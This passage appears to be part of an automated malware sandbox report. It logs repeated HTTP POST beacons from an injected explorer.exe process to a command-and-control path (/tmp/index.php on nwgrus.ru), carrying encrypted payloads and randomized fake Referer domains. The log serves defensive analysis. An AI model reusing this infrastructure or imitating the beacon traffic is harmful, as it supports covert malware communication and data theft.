on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:23.615633965 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uhxuuwgfmyhe.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 163 Host: nwgrus.ru
Oct 8, 2024 03:14:23.615633965 CEST	163	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 76 03 d4 ed Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuvK(^\|AO-BD]ru6G)KW@>5Ak1
Oct 8, 2024 03:14:24.986113071 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:24.993828058 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hkuvmvjfakdhd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 153 Host: nwgrus.ru
Oct 8, 2024 03:14:24.993864059 CEST	153	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 3c 1e c9 a5 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu<i(SPIhII'n:wV(8^VCrVM)
Oct 8, 2024 03:14:26.372226954 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:26 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:26.381064892 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gspricnhwajrk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Host: nwgrus.ru
Oct 8, 2024 03:14:26.381099939 CEST	116	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 73 4f d8 91 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vusOc#nuIyhryI
Oct 8, 2024 03:14:27.804676056 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:27 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:27.813083887 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ihkjhoeohsucndfk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 341 Host: nwgrus.ru
Oct 8, 2024 03:14:27.813113928 CEST	341	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 66 35 ce 84 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuf5XC{EkZ\|\|<8h1@jJGc"F] UPA%}H7%cnsbS(E-]\""7edxzyNNooN$D
Oct 8, 2024 03:14:29.188271999 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:28 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:29.195943117 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lpitxyhvwvj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 356 Host: nwgrus.ru
Oct 8, 2024 03:14:29.195971012 CEST	356	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 64 42 a2 aa Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vudB<w@:PS):(o@tx.[V@.ESaCfZb(<9AA4<>:I/^,[tvc#knFr:RF
Oct 8, 2024 03:14:30.566800117 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:30 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:30.575489044 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yltrrjxrgdt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: nwgrus.ru
Oct 8, 2024 03:14:30.575522900 CEST	293	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 32 09 df b6 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu2\?zt_uKTS.^"z=?:5F0W&EmI\l2l6G2N>)(]e8]1>_/an4xTbJP'
Oct 8, 2024 03:14:31.966928005 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:31.976115942 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jypectwcaivky.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: nwgrus.ru
Oct 8, 2024 03:14:31.976259947 CEST	147	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 56 05 db f8 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuVYAcj8^w2Wo$$w,%8:4>5I
Oct 8, 2024 03:14:33.349793911 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:33 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:33.357906103 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uvanlbvtcqkc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 270 Host: nwgrus.ru
Oct 8, 2024 03:14:33.357943058 CEST	270	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 7f 4e e9 8d Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuNDRU[ET#f8d9B:jMg'(OG1_m~t<&t}`3a0W:e+V8ELLHJWfj&S1
Oct 8, 2024 03:14:34.724086046 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:34 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:34.731926918 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jkgktqvsjdwb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 300 Host: nwgrus.ru
Oct 8, 2024 03:14:34.731926918 CEST	300	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 4c 34 e0 fe Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuL4VIznLjCI?6@E6v7)B[C91GMQ:5"gn1K$q4YzXgQCW*6PUDV4taB\|k5L#2
Oct 8, 2024 03:14:36.128566027 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:35 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:36.136688948 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cxrauupqkavo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: nwgrus.ru
Oct 8, 2024 03:14:36.136688948 CEST	157	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 3f 35 e5 fc Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu?5sXOa#.N>?j;'fJ_@BHQb4XMvE1X
Oct 8, 2024 03:14:37.511106014 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:37 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:37.519217014 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fmrccqvtujxqbxpg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: nwgrus.ru
Oct 8, 2024 03:14:37.519237995 CEST	296	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 65 09 ad f0 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuefNqy`8,QHUa\|VjV!0JEAL_4Mjpl)*IWp{9`a(shZOfl@F(MS
Oct 8, 2024 03:14:38.888278961 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:38 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49749	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:38.896028042 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://keeemaaxcllp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 171 Host: nwgrus.ru
